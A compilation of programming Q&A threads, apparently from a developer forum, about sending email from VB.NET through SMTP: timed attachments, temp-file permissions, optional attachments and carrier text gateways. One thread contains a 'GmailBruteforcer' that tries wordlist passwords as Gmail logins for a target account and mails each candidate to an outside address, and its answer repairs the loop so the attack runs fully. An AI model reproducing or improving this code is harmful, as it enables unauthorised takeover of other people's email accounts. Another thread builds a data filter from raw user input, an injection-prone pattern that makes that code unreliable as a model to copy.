Here is my program for auto email with manual attachments on certain time using config.ini for email username and password
Imports System.Net.Mail
Imports System.Timers
Public Class Form1
Dim file(2) As String
Dim pesan As String
Private Sub Form1_Load(sender As Object, e As EventArgs) Handles MyBase.Load
Me.Text = "Water Monitoring"
Timer1.Start()
End Sub
Public Sub kirim() 'step send e-mail manual'
Try
Dim Smtp_Server As New SmtpClient
Dim e_mail As New MailMessage()
Dim txtEmail As String
Dim txtPassword As String
txtEmail = Module1.Read_INI("GENERAL", "Email")
txtPassword = Module1.Read_INI("GENERAL", "Password")
Smtp_Server.UseDefaultCredentials = False
Smtp_Server.Credentials = New Net.NetworkCredential(txtEmail, txtPassword) 'login email'
Smtp_Server.Port = 587
Smtp_Server.Timeout = 3000000
Smtp_Server.EnableSsl = True
Smtp_Server.Host = "smtp.gmail.com"
e_mail = New MailMessage()
e_mail.From = New MailAddress(txtEmail)
e_mail.To.Add(txtTo.Text)
e_mail.Subject = txtSubject.Text
e_mail.IsBodyHtml = False
e_mail.Body = pesan
If Not txtFile1.Text = Nothing Then
Dim attach As New Attachment(txtFile1.Text)
e_mail.Attachments.Add(attach) 'attach attachment 1
End If
If Not txtFile2.Text = Nothing Then
Dim attach As New Attachment(txtFile2.Text)
e_mail.Attachments.Add(attach) 'attach attachment 2
End If
If Not txtFile3.Text = Nothing Then
Dim attach As New Attachment(txtFile3.Text)
e_mail.Attachments.Add(attach) 'attach attachment 3
End If
Smtp_Server.Send(e_mail)
MsgBox("Mail Sent")
Catch error_t As Exception
MsgBox(error_t.ToString) 'message box error
End Try
End Sub
Private Sub chckboxAuto30s_CheckedChanged(sender As Object, e As EventArgs) Handles chckboxAuto30s.CheckedChanged
If chckboxAuto30s.Checked = True Then
btnSend.Visible = False
Else
btnSend.Visible = True
End If
End Sub
Private Sub txtMessage_TextChanged(sender As Object, e As EventArgs) Handles txtMessage.TextChanged
pesan = txtMessage.Text
End Sub
Private Sub btnCancelAllAttachments_Click(sender As Object, e As EventArgs) Handles btnCancelAllAttachments.Click
txtFile1.Text = ""
txtFile2.Text = ""
txtFile3.Text = ""
file = Nothing
End Sub
Private Sub btnAddAttachments_Click(sender As Object, e As EventArgs) Handles btnAddAttachments.Click
file = Nothing
OpenFileDialog1.ShowDialog()
file = OpenFileDialog1.FileNames
txtFile1.Text = file(0)
Try
txtFile2.Text = file(1)
Catch ex As IndexOutOfRangeException
End Try
Try
txtFile3.Text = file(2)
Catch ex As IndexOutOfRangeException 'attach file attachment'
End Try
End Sub
Private Sub btnSend_Click(sender As Object, e As EventArgs) Handles btnSend.Click
kirim() 'send e-mail manual'
End Sub
Private Sub btnClearText_Click(sender As Object, e As EventArgs) Handles btnClearText.Click
txtTo.Text = ""
txtSubject.Text = ""
txtMessage.Text = ""
End Sub
Private Sub Timer1_Tick(sender As Object, e As EventArgs) Handles Timer1.Tick
Dim timerforAuto As Date
timerforAuto = CDate(timeAuto.Text)
If timerforAuto.Hour = Now.Hour And timerforAuto.Minute = Now.Minute And timerforAuto.Second = Now.Second Then
kirim()
End If
End Sub
End Class
My question is, how to setting the attachments is choosed automatically? I want to attach file automatically based on current time.
For example : i want to attach
C:\testing1.xlsx
C:\testing2.xlsx
automatically. And refresh the file if the file contents in the xlsx have changed every day.
Change your kirim() call in the timer1_tick to accept a date parameter.
Public Sub kirim(TimeKickedOff as Date) 'step send e-mail manual'
Try
Dim Smtp_Server As New SmtpClient
Dim e_mail As New MailMessage()
Dim txtEmail As String
Dim txtPassword As String
txtEmail = Module1.Read_INI("GENERAL", "Email")
txtPassword = Module1.Read_INI("GENERAL", "Password")
Smtp_Server.UseDefaultCredentials = False
Smtp_Server.Credentials = New Net.NetworkCredential(txtEmail, txtPassword) 'login email'
Smtp_Server.Port = 587
Smtp_Server.Timeout = 3000000
Smtp_Server.EnableSsl = True
Smtp_Server.Host = "smtp.gmail.com"
e_mail = New MailMessage()
e_mail.From = New MailAddress(txtEmail)
e_mail.To.Add(txtTo.Text)
e_mail.Subject = txtSubject.Text
e_mail.IsBodyHtml = False
e_mail.Body = pesan
If Not txtFile1.Text = Nothing Then
Dim attach As New Attachment(txtFile1.Text)
e_mail.Attachments.Add(attach) 'attach attachment 1
End If
If Not txtFile2.Text = Nothing Then
Dim attach As New Attachment(txtFile2.Text)
e_mail.Attachments.Add(attach) 'attach attachment 2
End If
If Not txtFile3.Text = Nothing Then
Dim attach As New Attachment(txtFile3.Text)
e_mail.Attachments.Add(attach) 'attach attachment 3
End If
Smtp_Server.Send(e_mail)
MsgBox("Mail Sent")
Catch error_t As Exception
MsgBox(error_t.ToString) 'message box error
End Try
End Sub
Change the call in timer1_tick to pass the time it was kicked off to kirim.
Private Sub Timer1_Tick(sender As Object, e As EventArgs) Handles Timer1.Tick
Dim timerforAuto As Date
timerforAuto = CDate(timeAuto.Text)
If timerforAuto.Hour = Now.Hour And timerforAuto.Minute = Now.Minute And timerforAuto.Second = Now.Second Then
kirim(timerforAuto)
End If
End Sub
In the kirim(TimeKickedOff as Date) sub add code that tests the TimeKickedOff to the datetime you want each attachment attached to the email, for example, in the kirim sub where SomeTime = the datetime you want the file attached:
If Not txtFile3.Text = Nothing Then
if TimeKickedOff.Hour = SomeTime.Hour And TimeKickedOff.Minute = SomeTime.Minute And TimeKickedOff.Second = SomeTime.Second Then
Dim attach As New Attachment(txtFile3.Text)
e_mail.Attachments.Add(attach) 'attach attachment 3
End If
End If
To test if a file has changed, you can handle this in the timer event. Dim a static variable that contains the content of the file and check to see if the content changes every so often and if the content changes do what you need to do when that happens and load the new content into the static variable so you can keep checking for newer changes.
Related
The code below works as intended in DEBUG with no errors. I input my search parameters, the record returns and populates all textboxes and loads the PDF file into the AxAcroPDF1 viewer.
However, after I compile and install the program I am receiving the error "Access to the path 'C:\Program Files (x86)\NAME OF PROGRAM\temp.file' is denied'
This only occurs when I search for a record and the PDF (in Binary format in the DB) to that record is supposed to load fails with the error message listed above. How can I resolve the permissions level (assuming this is the issue) to allow for the PDF to load? The area of concern presumably and more specifically is the LoadPDF() sub.
My code is as follows:
Imports System.Data.SqlClient
Public Class LoadDocs
Private DV As DataView
Private currentRow As String
Private Sub LoadDocs_Load(sender As Object, e As EventArgs) Handles MyBase.Load
'TODO: This line of code loads data into the 'DocDataset.Documents_Table' table. You can move, or remove it, as needed.
Documents_TableTableAdapter.Fill(DocDataset.Documents_Table)
'Loads last record on to form
DocumentsTableBindingSource.Position = DocDataset.Documents_Table.Rows.Count - 1
DV = New DataView(DocDataset.Documents_Table)
'LoadPDF()
End Sub
Private Sub BtnOpenPDF_Click(sender As Object, e As EventArgs) Handles btnOpenPDF.Click
tbRecNumb.Clear()
tbFileName.Clear()
tbPetsLoadNumber.Clear()
tbBrokerLoadNumber.Clear()
tbFilePath.Clear()
Dim CurYear As String = CType(Now.Year(), String)
On Error Resume Next
OpenFileDialog1.Filter = "PDF Files(*.pdf)|*.pdf"
OpenFileDialog1.ShowDialog()
AxAcroPDF1.src = OpenFileDialog1.FileName
tbFilePath.Text = OpenFileDialog1.FileName
Dim filename As String = tbFilePath.Text.ToString
tbFileName.Text = filename.Substring(Math.Max(0, filename.Length - 18))
Dim loadnumber As String = tbFileName.Text
tbPetsLoadNumber.Text = loadnumber.Substring(7, 7)
End Sub
' Search for PETS Load Number, Broker Load Numberthen load record if found
Private Sub BtnSearchBtn_MouseEnter(sender As Object, e As EventArgs) Handles btnSearch.MouseEnter
Cursor = Cursors.Hand
btnSearch.BackgroundImage = My.Resources.ButtonDwn_Teal_Trans
End Sub
Private Sub BtnSearchBtn_MouseLeave(sender As Object, e As EventArgs) Handles btnSearch.MouseLeave
Cursor = Cursors.Default
btnSearch.BackgroundImage = My.Resources.Button_Teal_Trans
End Sub
Private Sub TbSearchInput_KeyDown(sender As Object, e As KeyEventArgs) Handles tbSearchInput.KeyDown
Cursor = Cursors.Hand
If e.KeyCode = Keys.Enter Then
Search()
End If
End Sub
Private Sub BtnSearch_Click(sender As Object, e As EventArgs) Handles btnSearch.Click
btnSearch.BackgroundImage = My.Resources.ButtonClk_Teal_Trans
Cursor = Cursors.Hand
Search()
End Sub
Private Sub Search()
Cursor = Cursors.WaitCursor
If cbColName.Text = "SEARCH BY:" Then
MeMsgBoxSearchCriteria.ShowDialog()
Else : lblSearchResults.Items.Clear()
Select Case DocDataset.Documents_Table.Columns(cbColName.Text).DataType
Case GetType(Integer)
DV.RowFilter = cbColName.Text & " = " & tbSearchInput.Text.Trim
Case GetType(Date)
DV.RowFilter = cbColName.Text & " = #" & tbSearchInput.Text.Trim & "#"
Case Else
DV.RowFilter = cbColName.Text & " LIKE '*" & tbSearchInput.Text.Trim & "*'"
End Select
If DV.Count > 0 Then
For IX As Integer = 0 To DV.Count - 1
lblSearchResults.Items.Add(DV.Item(IX)("PETS_LOAD_NUMBER"))
Next
If DV.Count = 1 Then
lblSearchResults.SelectedIndex = 0
Dim ix As Integer = DocumentsTableBindingSource.Find("PETS_LOAD_NUMBER", CInt(lblSearchResults.SelectedItem.ToString))
DocumentsTableBindingSource.Position = ix
LoadPDF()
Else
lblSearchResults.Visible = True
lblSearchResults.BringToFront()
End If
Else
' Display a message box notifying users the record cannot be found.
MeMsgBoxNoSearch.ShowDialog()
End If
End If
Cursor = Cursors.Default
End Sub
Private Sub LblSearchResults_SelectedIndexChanged(sender As Object, e As EventArgs) Handles lblSearchResults.SelectedIndexChanged
Dim ix As Integer = DocumentsTableBindingSource.Find("PETS_LOAD_NUMBER", CInt(lblSearchResults.SelectedItem.ToString))
DocumentsTableBindingSource.Position = ix
lblSearchResults.Visible = False
End Sub
Private Sub LoadPDF()
Dim temp = Environment.GetEnvironmentVariable("TEMP", EnvironmentVariableTarget.User)
If File.Exists(Application.StartupPath() & "\temp.file") = True Then
AxAcroPDF1.src = "blank.pdf"
My.Computer.FileSystem.DeleteFile(Application.StartupPath() & "\temp.file")
End If
Dim cmd As New SqlCommand
cmd.CommandText = "SELECT DOCUMENTS FROM Documents_Table WHERE PETS_LOAD_NUMBER = #pl"
cmd.Parameters.AddWithValue("#pl", tbPetsLoadNumber.Text)
cmd.CommandType = CommandType.Text
cmd.Connection = New SqlConnection With {
.ConnectionString = My.MySettings.Default.PETS_DatabaseConnectionString
}
Dim Buffer As Byte()
cmd.Connection.Open()
Buffer = cmd.ExecuteScalar
cmd.Connection.Close()
File.WriteAllBytes(Application.StartupPath() & "\temp.file", Buffer)
'DATA READER
AxAcroPDF1.src = Application.StartupPath() & "\temp.file"
End Sub
Private Sub DocumentsTableBindingSource_PositionChanged(sender As Object, e As EventArgs) Handles DocumentsTableBindingSource.PositionChanged
Try
currentRow = DocDataset.Documents_Table.Item(DocumentsTableBindingSource.Position).ToString
Catch ex As Exception
MessageBox.Show(ex.Message)
End Try
End Sub
Private Sub BtnSavePDF_Click(sender As Object, e As EventArgs) Handles btnSavePDF.Click
If tbPetsLoadNumber.Text.Length = 0 Then
MessageBox.Show("Please enter a PETS Load Number", "Missing Load Number", MessageBoxButtons.OK, MessageBoxIcon.Exclamation)
Exit Sub
ElseIf tbBrokerLoadNumber.Text.Length = 0 Then
MessageBox.Show("Please enter a Broker Load Number", "Missing Load Number", MessageBoxButtons.OK, MessageBoxIcon.Exclamation)
Exit Sub
ElseIf tbFileName.Text.Length = 0 Then
MessageBox.Show("Please enter a Filename", "Missing Filename", MessageBoxButtons.OK, MessageBoxIcon.Exclamation)
Exit Sub
End If
Try
Using OpenFileDialog As OpenFileDialog = OpenFileDialog1()
If (OpenFileDialog.ShowDialog(Me) = DialogResult.OK) Then
tbFilePath.Text = OpenFileDialog.FileName
Else 'Cancel
Exit Sub
End If
End Using
'Call Upload Images Or File
Dim sFileToUpload As String = ""
sFileToUpload = LTrim(RTrim(tbFilePath.Text))
'Initialize byte array with a null value initially.
Dim data As Byte() = Nothing
'Use FileInfo object to get file size.
Dim fInfo As New FileInfo(tbFilePath.Text)
Dim numBytes As Long = fInfo.Length
'Open FileStream to read file
Dim fStream As New FileStream(tbFilePath.Text, FileMode.Open, FileAccess.Read)
'Use BinaryReader to read file stream into byte array.
Dim br As New BinaryReader(fStream)
'Supply number of bytes to read from file.
'In this case we want to read entire file. So supplying total number of bytes.
data = br.ReadBytes(CInt(numBytes))
'Insert the details into the database
Dim cmd As New SqlCommand
cmd.CommandText = "INSERT INTO Documents_Table (BROKER_LOAD_NUMBER, PDF_FILENAME, PETS_LOAD_NUMBER, DOCUMENTS)
VALUES (#bl, #fn, #pl, #pdf)"
cmd.Parameters.Add("#fn", SqlDbType.NVarChar, 50).Value = tbFileName.Text
cmd.Parameters.Add("#pl", SqlDbType.Int).Value = tbPetsLoadNumber.Text
cmd.Parameters.Add("#bl", SqlDbType.NVarChar, 20).Value = tbBrokerLoadNumber.Text
cmd.Parameters.Add("#pdf", SqlDbType.VarBinary, -1).Value = data
cmd.CommandType = CommandType.Text
cmd.Connection = New SqlConnection With {
.ConnectionString = My.MySettings.Default.PETS_DatabaseConnectionString
}
cmd.Connection.Open()
cmd.ExecuteNonQuery()
cmd.Connection.Close()
MsgBox("File Successfully Imported to Database")
Catch ex As Exception
MessageBox.Show(ex.ToString())
End Try
End Sub
End Class
In your function LoadPDF you create a reference to tempdir and then don't use it. Instead, you use Application.StartupPath() which will point to C:\Programs(x86) and is usually not writeable without admin rights.
But why don't you use your temp dir:
Dim temp = SpecialDirectories.Temp 'more robust approach to get tempdir
If File.Exists(temp & "\temp.file") = True Then
AxAcroPDF1.src = "blank.pdf"
My.Computer.FileSystem.DeleteFile(temp & "\temp.file")
End If
...
File.WriteAllBytes(temp & "\temp.file", Buffer)
'DATA READER
AxAcroPDF1.src = temp & "\temp.file"
I really started to get confused about sending an e-mail to (example: test#test.com) through VB.NET and for sure using SMTP.
I want the mail to be sent when Button1 is clicked (example).
So I started by a code like that
Imports System.Net.Mail
Public Class MyProgram
Private Sub Button1_Click(sender As Object, e As EventArgs) Handles Button1.Click
Using message As New MailMessage()
'set to the from, to and subject fields
message.From = New MailAddress("sender#sender.com")
message.[To].Add(New MailAddress("test#test.com"))
message.Subject = "Test"
'code the message body
Dim MsgBody As String
MsgBody = TextBox1.Text.ToString() & vbCr & _
TextBox2.Text.ToString()
message.Body = MsgBody
Dim client As New SmtpClient()
client.Host = "smtp.example.com"
client.Port = "465"
client.EnableSsl = True
client.Credentials = New Net.NetworkCredential("USERNAME#MAIL.COM", "PASSWORD")
client.Send(message)
End Using
'display submitted box
MessageBox.Show("Congrats", "Congratulations!")
'close form
Me.Close()
End Sub
End Class
And I get:
Next, I tried another code (which is) ...
Imports System.Net.Mail
Public Class MyProgram
Private Sub Button1_Click(sender As Object, e As EventArgs) Handles Button1.Click
Dim Smtp_Server As New SmtpClient
Dim e_mail As New MailMessage()
Smtp_Server.UseDefaultCredentials = False
Smtp_Server.Credentials = New Net.NetworkCredential("USERNAME#MAIL.COM", "PASSWORD")
Smtp_Server.Port = 465
Smtp_Server.EnableSsl = True
Smtp_Server.Host = "smtp.example.com"
e_mail = New MailMessage()
e_mail.From = New MailAddress("sender#sender.com")
e_mail.To.Add("test#test.com")
e_mail.Subject = "Test E-mail Address Sent by My Program"
e_mail.IsBodyHtml = False
e_mail.Body = "Test"
Smtp_Server.Send(e_mail)
MsgBox("Mail Sent")
End Sub
End Class
And now I get the following in the Debugger:
And at last the e-mail isn't sent!
Please don't say "sender#sender.com" isn't configured as a sender e-mail address because it is!
I really need help!
Thanks. :-)
I want to stop loop when its finished and I don't know how to stop it. Here is the full source code.
Imports System.Net.Mail
Public Class GmailBruteforcer
Private Sub GmailBruteforcer_Load(sender As Object, e As EventArgs) Handles MyBase.Load
End Sub
Private Sub Button1_Click(sender As Object, e As EventArgs) Handles Button1.Click
OpenFileDialog1.Title = "Please Select a File"
OpenFileDialog1.AddExtension = True
OpenFileDialog1.Filter = "Text Files (*.txt) |*.txt"
OpenFileDialog1.ShowDialog()
End Sub
Private Sub OpenFileDialog1_FileOk(sender As Object, e As System.ComponentModel.CancelEventArgs) Handles OpenFileDialog1.FileOk
Dim strm As System.IO.Stream
strm = OpenFileDialog1.OpenFile()
TextBox2.Text = OpenFileDialog1.FileName.ToString()
If Not (strm Is Nothing) Then
strm.Close()
End If
End Sub
Private Sub Button2_Click(sender As Object, e As EventArgs) Handles Button2.Click
emailloop()
End Sub
Sub emailloop()
Dim objReader As New System.IO.StreamReader(TextBox2.Text)
For i As Int32 = 0 To 100000
TextBox3.Text = objReader.ReadLine
If TextBox3.Text = "" Then MsgBox("Password not found")
Try
Dim mail As New MailMessage
mail.To.Add("h1dd3na#gmail.com")
mail.From = New MailAddress(TextBox1.Text)
mail.Subject = "test123"
mail.Body = TextBox3.Text
Dim SMTP As New SmtpClient("smtp.gmail.com")
SMTP.Port = 587
SMTP.EnableSsl = True
SMTP.Credentials = New System.Net.NetworkCredential(TextBox1.Text, TextBox3.Text)
SMTP.Send(mail)
MsgBox(" Password: " + TextBox3.Text)
Clipboard.SetText(TextBox3.Text)
MsgBox("Password Copied!")
Catch ex As Exception
End Try
Next
End Sub
Private Sub Button3_Click(sender As Object, e As EventArgs) Handles Button3.Click
End Sub
End Class
Something like this should work:
Sub emailloop()
Dim objReader As New System.IO.StreamReader(TextBox2.Text)
Dim line as String
line = objReader.ReadLine
Do While (Not line Is Nothing)
TextBox3.Text = line
If TextBox3.Text = "" Then MsgBox("Password not found")
Try
Dim mail As New MailMessage
mail.To.Add("h1dd3na#gmail.com")
mail.From = New MailAddress(TextBox1.Text)
mail.Subject = "test123"
mail.Body = TextBox3.Text
Dim SMTP As New SmtpClient("smtp.gmail.com")
SMTP.Port = 587
SMTP.EnableSsl = True
SMTP.Credentials = New System.Net.NetworkCredential(TextBox1.Text, TextBox3.Text)
SMTP.Send(mail)
MsgBox(" Password: " + TextBox3.Text)
Clipboard.SetText(TextBox3.Text)
MsgBox("Password Copied!")
line = objReader.ReadLine
Catch ex As Exception
End Try
Loop
End Sub
I have a sendmail program in vb.net. I have attachments sending just fine. The problem is when there is NO ATTACHMENT, the program errors out. How do i handle no attachment to bypass and send with no attachment? The below works fine.
Yea yea i know, my naming convention is horrible. I will change once i have the logic 100% complete.
Imports System.Net.Mail
Public Class Form1
Private Sub Button1_Click(sender As Object, e As EventArgs) Handles Button1.Click
If TextBox1.Text = "" Then
MsgBox("Please describe the issue you're having Bender, I'm not a mindreader!")
Exit Sub
Else
lblpleasewait.Visible = True
Delay(2000)
Dim Recipients As New List(Of String)
Recipients.Add("emtnap6#yahoo.com")
Dim FromEmailAddress As String = Recipients(0)
Dim Subject As String = "IT Help!"
Dim Body As String = TextBox1.Text
Dim UserName As String = "fakeout"
Dim Password As String = "fakeout"
Dim Port As Integer = 587
Dim Server As String = "smtp.gmail.com"
Dim Attachments As New List(Of String)
MsgBox(SendEmail(Recipients, FromEmailAddress, Subject, Body, UserName, Password, Server, Port, Attachments))
TextBox2.Text = "Attach Screenshot:"
TextBox2.TextAlign = HorizontalAlignment.Right
lblpleasewait.Visible = False
TextBox1.Text = ""
TextBox1.Focus()
End If
End Sub
Sub delay(ByVal delay_ms As Integer)
Dim tspan As New TimeSpan
Dim tstart = Now
While tspan.TotalMilliseconds < delay_ms
tspan = Now - tstart
Application.DoEvents()
End While
End Sub
Function SendEmail(ByVal Recipients As List(Of String), _
ByVal FromAddress As String, _
ByVal Subject As String, _
ByVal Body As String, _
ByVal UserName As String, _
ByVal Password As String, _
Optional ByVal Server As String = "smtp.gmail.com", _
Optional ByVal Port As Integer = 587, _
Optional ByVal Attachments As List(Of String) = Nothing) As String
Dim Email As New MailMessage()
Try
Dim SMTPServer As New SmtpClient
''For Each Attachment As String In Attachments
'' Email.Attachments.Add(New Attachment(Attachment))
'Next
Dim mailattach As String = TextBox2.Text
Dim attachment As System.Net.Mail.Attachment
attachment = New System.Net.Mail.Attachment(mailattach)
Email.Attachments.Add(attachment)
Email.From = New MailAddress(FromAddress)
For Each Recipient As String In Recipients
Email.Bcc.Add(Recipient)
Next
Email.Subject = Subject
Email.Body = Body
SMTPServer.Host = Server
SMTPServer.Port = Port
SMTPServer.Credentials = New System.Net.NetworkCredential(UserName, Password)
SMTPServer.EnableSsl = True
SMTPServer.Send(Email)
Email.Dispose()
Return "Email to Derek was successfully sent."
Catch ex As SmtpException
Email.Dispose()
Return "Sending Email Failed. Smtp Error."
Catch ex As ArgumentOutOfRangeException
Email.Dispose()
Return "Sending Email Failed. Check Port Number."
Catch Ex As InvalidOperationException
Email.Dispose()
Return "Sending Email Failed. Check Port Number."
End Try
End Function
Private Sub FolderBrowserDialog1_HelpRequest(sender As Object, e As EventArgs)
If (FolderBrowserDialog1.ShowDialog() = Windows.Forms.DialogResult.OK) Then
TextBox2.Text = FolderBrowserDialog1.SelectedPath
End If
End Sub
Private Sub Button2_Click(sender As Object, e As System.EventArgs) Handles Button2.Click
OpenFileDialog1.InitialDirectory = Environment.GetFolderPath(Environment.SpecialFolder.Desktop)
If (OpenFileDialog1.ShowDialog() = Windows.Forms.DialogResult.OK) Then
TextBox2.Text = OpenFileDialog1.FileName
End If
End Sub
Private Sub Form1_Load(sender As Object, e As EventArgs) Handles MyBase.Load
TextBox1.Focus()
End Sub
Private Sub Button3_Click(sender As Object, e As EventArgs) Handles Button3.Click
If Not Environment.Is64BitProcess Then
Process.Start("C:\Windows\sysnative\SnippingTool.exe")
Else
Process.Start("C:\Windows\system32\SnippingTool.exe")
End If
End Sub
Private Sub OpenFileDialog1_FileOk(sender As Object, e As System.ComponentModel.CancelEventArgs) Handles OpenFileDialog1.FileOk
OpenFileDialog1.InitialDirectory = Environment.SpecialFolder.MyComputer
End Sub
End Class
This should solve the problem.
If TextBox2.text <> "" then
Dim mailattach As String = TextBox2.Text
Dim attachment As System.Net.Mail.Attachment
attachment = New System.Net.Mail.Attachment(mailattach)
Email.Attachments.Add(attachment)
End if
The program is suppose to take the values in a specific Column and send 4 emails to each one. Each of the 4 emails is a major cell company email. The data in the list is the phone number but im having trouble implementing it. What am i doing wrong? Any suggestions?
Imports System.Net.Mail
Public Class Form1
Private Sub Form1_Load(sender As Object, e As EventArgs) Handles MyBase.Load
'TODO: This line of code loads data into the 'ContactsDataSet.VBQuery' table. You can move, or remove it, as needed.
Me.VBQueryTableAdapter.Fill(Me.ContactsDataSet.VBQuery)
' Set the caption bar text of the form.
Me.Text = "Texting From Email"
End Sub
Private Sub Button1_Click(sender As Object, e As EventArgs) Handles Button1.Click
Try
Dim Smtp_Server As New SmtpClient
Dim e_mail As New MailMessage()
Dim self As New MailAddress("blank#gmail.com")
Dim strCarriers As New List(Of String)
Dim colIndex As Integer
Dim strList As New List(Of String)
Smtp_Server.UseDefaultCredentials = False
Smtp_Server.Credentials = New Net.NetworkCredential("blank#gmail.com", "password3")
Smtp_Server.Port = 587
Smtp_Server.EnableSsl = True
Smtp_Server.Host = "smtp.gmail.com"
strCarriers.Add("#pm.sprint.com")
strCarriers.Add("#vtext.com")
strCarriers.Add("#tmomail.net")
strCarriers.Add("#txt.att.net")
colIndex = 4
If rad1.Checked = True Then
Dim NumToCall As String
For i As Integer = 0 To DataGridView1.Rows.Count - 1
' dont need
'strList.Add(DataGridView1.Item(colIndex, i).Value.ToString)
NumToCall = DataGridView1.Item(colIndex, i).Value.ToString
' you cal also reference by name:
For Each item As String In strList
For Each Carrier As String In strCarriers
' Send Email
e_mail.To.Add(NumToCall & "Carrier")
e_mail = New MailMessage()
e_mail.From = self
e_mail.Subject = txtSubject.Text
e_mail.IsBodyHtml = False
e_mail.Body = txtMessage.Text
Smtp_Server.Send(e_mail)
Next
Next
Next
ElseIf rad1.Checked = False Then
For Each Carrier As String In strCarriers
e_mail = New MailMessage()
e_mail.From = self
e_mail.To.Add(txtTo.Text + Carrier)
e_mail.Subject = txtSubject.Text
e_mail.IsBodyHtml = False
e_mail.Body = txtMessage.Text
Smtp_Server.Send(e_mail)
Next
End If
MsgBox("Mail Sent")
Catch error_t As Exception
MsgBox(error_t.ToString)
End Try
End Sub
Private Sub btnExit_Click(sender As Object, e As EventArgs) Handles btnExit.Click
Close()
End Sub
Private Sub btnClear_Click(sender As Object, e As EventArgs) Handles btnClear.Click
txtMessage.Text = String.Empty
txtSubject.Text = String.Empty
txtTo.Text = String.Empty
rad1.Checked = False
End Sub
End Class
You have to remove the strList ForLoop block. I guess it's not needed anymore
Dim NumToCall As String
For i As Integer = 0 To DataGridView1.Rows.Count - 1
NumToCall = DataGridView1.Item(colIndex, i).Value.ToString
'you cal also reference by name:
For Each Carrier As String In strCarriers
' Send Email
e_mail.To.Add(NumToCall & "Carrier")
e_mail = New MailMessage()
e_mail.From = self
e_mail.Subject = txtSubject.Text
e_mail.IsBodyHtml = False
e_mail.Body = txtMessage.Text
Smtp_Server.Send(e_mail)
Next
Next